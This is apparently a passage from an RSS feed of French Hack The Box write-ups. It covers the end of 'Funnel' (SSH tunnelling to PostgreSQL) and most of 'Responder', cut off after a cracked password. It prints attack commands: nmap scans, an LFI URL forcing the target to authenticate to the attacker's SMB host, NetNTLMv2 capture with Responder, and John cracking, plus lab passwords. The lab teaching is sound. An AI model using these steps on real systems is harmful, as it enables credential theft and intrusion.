style="color:#36acaa">0</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">32</span><span class="token plain">    *:ftp                 *:*</span><br></span></code></pre></div></div>
<p>Une base de données <strong>PostgreSQL</strong> tourne en local — mais <code>psql</code> n'est pas installé sur la machine et on ne peut pas l'accéder depuis l'extérieur.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="port-forwarding-ssh">Port Forwarding SSH<a href="https://mohamedoutougane.com/writeups/funnel#port-forwarding-ssh" class="hash-link" aria-label="Lien direct vers Port Forwarding SSH" title="Lien direct vers Port Forwarding SSH" translate="no">​</a></h3>
<p>On crée un tunnel SSH : le port local <strong>1234</strong> redirige vers le port <strong>5432</strong> (PostgreSQL) de la machine distante.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">ssh</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-L</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1234</span><span class="token plain">:localhost:5432 christine@10.129.228.195</span><br></span></code></pre></div></div>
<p>On vérifie que le tunnel est actif :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ ss </span><span class="token parameter variable" style="color:#36acaa">-tlnp</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">LISTEN  </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">128</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">127.0</span><span class="token plain">.0.1:1234  users:</span><span class="token variable punctuation" style="color:#393A34">((</span><span class="token variable" style="color:#36acaa">"ssh"</span><span class="token variable punctuation" style="color:#393A34">,</span><span class="token variable" style="color:#36acaa">pid</span><span class="token variable operator" style="color:#393A34">=</span><span class="token variable number" style="color:#36acaa">157558</span><span class="token variable punctuation" style="color:#393A34">))</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="connexion-à-postgresql-via-le-tunnel">Connexion à PostgreSQL via le tunnel<a href="https://mohamedoutougane.com/writeups/funnel#connexion-%C3%A0-postgresql-via-le-tunnel" class="hash-link" aria-label="Lien direct vers Connexion à PostgreSQL via le tunnel" title="Lien direct vers Connexion à PostgreSQL via le tunnel" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">apt</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">install</span><span class="token plain"> postgresql-client</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ psql </span><span class="token parameter variable" style="color:#36acaa">-U</span><span class="token plain"> christine </span><span class="token parameter variable" style="color:#36acaa">-h</span><span class="token plain"> localhost </span><span class="token parameter variable" style="color:#36acaa">-p</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1234</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Password </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> user christine: funnel123</span><span class="token comment" style="color:#999988;font-style:italic">#!#</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token assign-left variable" style="color:#36acaa">christine</span><span class="token operator" style="color:#393A34">=</span><span class="token comment" style="color:#999988;font-style:italic">#</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/funnel#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploration-de-la-base-de-données">Exploration de la base de données<a href="https://mohamedoutougane.com/writeups/funnel#exploration-de-la-base-de-donn%C3%A9es" class="hash-link" aria-label="Lien direct vers Exploration de la base de données" title="Lien direct vers Exploration de la base de données" translate="no">​</a></h3>
<div class="language-sql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sql codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">christine</span><span class="token operator" style="color:#393A34">=</span><span class="token comment" style="color:#999988;font-style:italic"># \l</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    Name   </span><span class="token operator" style="color:#393A34">|</span><span class="token plain">  Owner</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">-----------+-----------</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> secrets   </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> christine</span><br></span></code></pre></div></div>
<div class="language-sql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-sql codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">christine</span><span class="token operator" style="color:#393A34">=</span><span class="token comment" style="color:#999988;font-style:italic"># \connect secrets</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">secrets</span><span class="token operator" style="color:#393A34">=</span><span class="token comment" style="color:#999988;font-style:italic"># \dt</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token keyword" style="color:#00009f">Schema</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> Name </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">Type</span><span class="token plain">  </span><span class="token operator" style="color:#393A34">|</span><span class="token plain">   Owner</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">--------+------+-------+-----------</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token keyword" style="color:#00009f">public</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> flag </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">table</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> christine</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">secrets</span><span class="token operator" style="color:#393A34">=</span><span class="token comment" style="color:#999988;font-style:italic"># SELECT * FROM flag;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">              </span><span class="token keyword" style="color:#00009f">value</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">----------------------------------</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"> cf2{</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">}db1</span><br></span></code></pre></div></div>
<p>La machine est <strong>pwned</strong> !</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://mohamedoutougane.com/writeups/funnel#conclusion" class="hash-link" aria-label="Lien direct vers Conclusion" title="Lien direct vers Conclusion" translate="no">​</a></h2>
<p>Chaîne d'exploitation :</p>
<ol>
<li class=""><strong>FTP anonyme</strong> → mail de bienvenue + PDF avec mot de passe par défaut</li>
<li class=""><strong>Password spray Hydra</strong> → connexion SSH via <code>christine</code></li>
<li class=""><strong>Énumération interne</strong> → PostgreSQL sur localhost:5432</li>
<li class=""><strong>Port Forwarding SSH</strong> → tunnel local:1234 → distant:5432</li>
<li class=""><strong>PostgreSQL</strong> → flag dans la base <code>secrets</code></li>
</ol>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Linux</category>
            <category>Database</category>
            <category>VIP</category>
            <category>Tier 1</category>
        </item>
        <item>
            <title><![CDATA[Responder]]></title>
            <link>https://mohamedoutougane.com/writeups/responder</link>
            <guid>https://mohamedoutougane.com/writeups/responder</guid>
            <pubDate>Mon, 09 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Exploitation d'une LFI pour voler des credentials NetNTLMv2.]]></description>
            <content:encoded><![CDATA[<p>Bienvenue sur <strong>Responder</strong>. Cette machine montre comment transformer une simple vulnérabilité <strong>LFI (Local File Inclusion)</strong> en une attaque beaucoup plus dangereuse : le vol de credentials <strong>NetNTLMv2</strong> via un serveur SMB malveillant.</p>
<p>Chaîne d'exploitation : vulnérabilité web → piège SMB avec Responder → hash NetNTLMv2 → craquage John the Ripper → accès WinRM via Evil-WinRM.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.</p></div></div>
<p><a href="https://www.youtube.com/@Raven_Breach/videos" target="_blank" rel="noopener noreferrer" class="">▶ RavenBreach sur YouTube</a></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/responder#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte">Découverte d'hôte<a href="https://mohamedoutougane.com/writeups/responder#d%C3%A9couverte-dh%C3%B4te" class="hash-link" aria-label="Lien direct vers Découverte d'hôte" title="Lien direct vers Découverte d'hôte" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.13.44</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.13.44: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">127</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">62.0</span><span class="token plain"> ms</span><br></span></code></pre></div></div>
<p>Le <strong>TTL de 127</strong> indique une machine <strong>Windows</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="énumération-des-services">Énumération des services<a href="https://mohamedoutougane.com/writeups/responder#%C3%A9num%C3%A9ration-des-services" class="hash-link" aria-label="Lien direct vers Énumération des services" title="Lien direct vers Énumération des services" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$nmap</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.13.44</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">80</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  http    Apache httpd </span><span class="token number" style="color:#36acaa">2.4</span><span class="token plain">.52 </span><span class="token punctuation" style="color:#393A34">((</span><span class="token plain">Win64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> OpenSSL/1.1.1m PHP/8.1.1</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="scan-complet-tous-les-ports">Scan complet (tous les ports)<a href="https://mohamedoutougane.com/writeups/responder#scan-complet-tous-les-ports" class="hash-link" aria-label="Lien direct vers Scan complet (tous les ports)" title="Lien direct vers Scan complet (tous les ports)" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ nmap -p- --min-rate </span><span class="token number" style="color:#36acaa">1000</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.27.4</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT     STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">80</span><span class="token plain">/tcp   </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  http    Apache httpd </span><span class="token number" style="color:#36acaa">2.4</span><span class="token plain">.52 </span><span class="token punctuation" style="color:#393A34">((</span><span class="token plain">Win64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> OpenSSL/1.1.1m PHP/8.1.1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">5985</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  http    Microsoft HTTPAPI httpd </span><span class="token number" style="color:#36acaa">2.0</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">SSDP/UPnP</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>Le port <strong>5985</strong> : c'est <strong>WinRM</strong> (Windows Remote Management). Utile plus tard si on obtient des credentials.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/responder#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploration-de-lapplication-web">Exploration de l'application web<a href="https://mohamedoutougane.com/writeups/responder#exploration-de-lapplication-web" class="hash-link" aria-label="Lien direct vers Exploration de l'application web" title="Lien direct vers Exploration de l'application web" translate="no">​</a></h3>
<p>En accédant à l'IP via un navigateur, on a une erreur de redirection vers <code>unika.htb</code> — Name-Based Virtual Hosting.</p>
<p><img decoding="async" loading="lazy" alt="Redirection vers unika.htb" src="https://mohamedoutougane.com/assets/images/image1-55d423cd8e53b64ccc975e91f1e403e6.png" width="1077" height="633" class="img_ev3q"></p>
<p>On ajoute l'entrée dans <code>/etc/hosts</code> :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">nano</span><span class="token plain"> /etc/hosts</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Ajouter : 10.129.27.4 unika.htb</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="Édition /etc/hosts" src="https://mohamedoutougane.com/assets/images/image2-f17cecc52978209a2e09faf4655a9bd0.png" width="1027" height="667" class="img_ev3q"></p>
<p>Maintenant <code>http://unika.htb</code> charge le site.</p>
<p><img decoding="async" loading="lazy" alt="Site unika.htb" src="https://mohamedoutougane.com/assets/images/image3-4d7e107130d92213639fe75c11c7fa1e.png" width="1002" height="662" class="img_ev3q"></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="identification-de-la-vulnérabilité-lfi">Identification de la vulnérabilité LFI<a href="https://mohamedoutougane.com/writeups/responder#identification-de-la-vuln%C3%A9rabilit%C3%A9-lfi" class="hash-link" aria-label="Lien direct vers Identification de la vulnérabilité LFI" title="Lien direct vers Identification de la vulnérabilité LFI" translate="no">​</a></h3>
<p>Le site propose de changer la langue. En sélectionnant le français, l'URL contient un paramètre <code>page</code> qui charge directement un fichier :</p>
<p><img decoding="async" loading="lazy" alt="Paramètre page vulnérable à la LFI" src="https://mohamedoutougane.com/assets/images/image4-6aa501bd8d026e391473959f44b54c19.png" width="1263" height="192" class="img_ev3q"></p>
<p>Ce paramètre non sécurisé est vulnérable à une <strong>LFI</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="transformation-lfi--rfi-via-smb">Transformation LFI → RFI via SMB<a href="https://mohamedoutougane.com/writeups/responder#transformation-lfi--rfi-via-smb" class="hash-link" aria-label="Lien direct vers Transformation LFI → RFI via SMB" title="Lien direct vers Transformation LFI → RFI via SMB" translate="no">​</a></h3>
<p>Au lieu de lire des fichiers locaux, on va exploiter cette LFI pour forcer le serveur Windows à se connecter à <strong>notre propre serveur SMB</strong>. Quand Windows essaiera de se connecter, il enverra automatiquement son hash <strong>NetNTLMv2</strong> — qu'on intercepte avec <strong>Responder</strong>.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation">Exploitation<a href="https://mohamedoutougane.com/writeups/responder#exploitation" class="hash-link" aria-label="Lien direct vers Exploitation" title="Lien direct vers Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="configuration-de-responder">Configuration de Responder<a href="https://mohamedoutougane.com/writeups/responder#configuration-de-responder" class="hash-link" aria-label="Lien direct vers Configuration de Responder" title="Lien direct vers Configuration de Responder" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ </span><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> responder </span><span class="token parameter variable" style="color:#36acaa">-I</span><span class="token plain"> tun0</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">+</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> Servers: HTTP ON, SMB ON, </span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">+</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> Listening </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> events</span><span class="token punctuation" style="color:#393A34">..</span><span class="token plain">.</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="déclenchement-de-lattaque">Déclenchement de l'attaque<a href="https://mohamedoutougane.com/writeups/responder#d%C3%A9clenchement-de-lattaque" class="hash-link" aria-label="Lien direct vers Déclenchement de l'attaque" title="Lien direct vers Déclenchement de l'attaque" translate="no">​</a></h3>
<p>On note notre IP (<code>ifconfig tun0</code>) :</p>
<p><img decoding="async" loading="lazy" alt="IP de notre interface tun0" src="https://mohamedoutougane.com/assets/images/image5-ac21f4462ebd25fd5db0afe0cef19957.png" width="787" height="551" class="img_ev3q"></p>
<p>On forge l'URL pour pointer vers notre serveur SMB :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">http://unika.htb/index.php?page=//10.10.14.86/share/textLFI.txt</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="URL forgée pointant vers notre SMB" src="https://mohamedoutougane.com/assets/images/image6-d6337739b1de8482c538dc4a0d1e7b3a.png" width="1403" height="268" class="img_ev3q"></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="interception-du-hash-netntlmv2">Interception du hash NetNTLMv2<a href="https://mohamedoutougane.com/writeups/responder#interception-du-hash-netntlmv2" class="hash-link" aria-label="Lien direct vers Interception du hash NetNTLMv2" title="Lien direct vers Interception du hash NetNTLMv2" translate="no">​</a></h3>
<p><img decoding="async" loading="lazy" alt="Hash NetNTLMv2 intercepté par Responder" src="https://mohamedoutougane.com/assets/images/image7-1c74b518623a25a66998f2a37e5eb459.png" width="820" height="367" class="img_ev3q"></p>
<p>On copie le hash dans un fichier :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token builtin class-name">echo</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"Administrator::RESPONDER:...[hash complet]..."</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> hashUnika.txt</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="craquage-avec-john-the-ripper">Craquage avec John The Ripper<a href="https://mohamedoutougane.com/writeups/responder#craquage-avec-john-the-ripper" class="hash-link" aria-label="Lien direct vers Craquage avec John The Ripper" title="Lien direct vers Craquage avec John The Ripper" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ john </span><span class="token parameter variable" style="color:#36acaa">-w</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">/usr/share/wordlists/rockyou.txt hashUnika.txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">badminton        </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">Administrator</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Session completed.</span><br></span></code></pre></div></div>
<p>Le mot de passe est <strong>badminton</strong>.</p>
<hr>
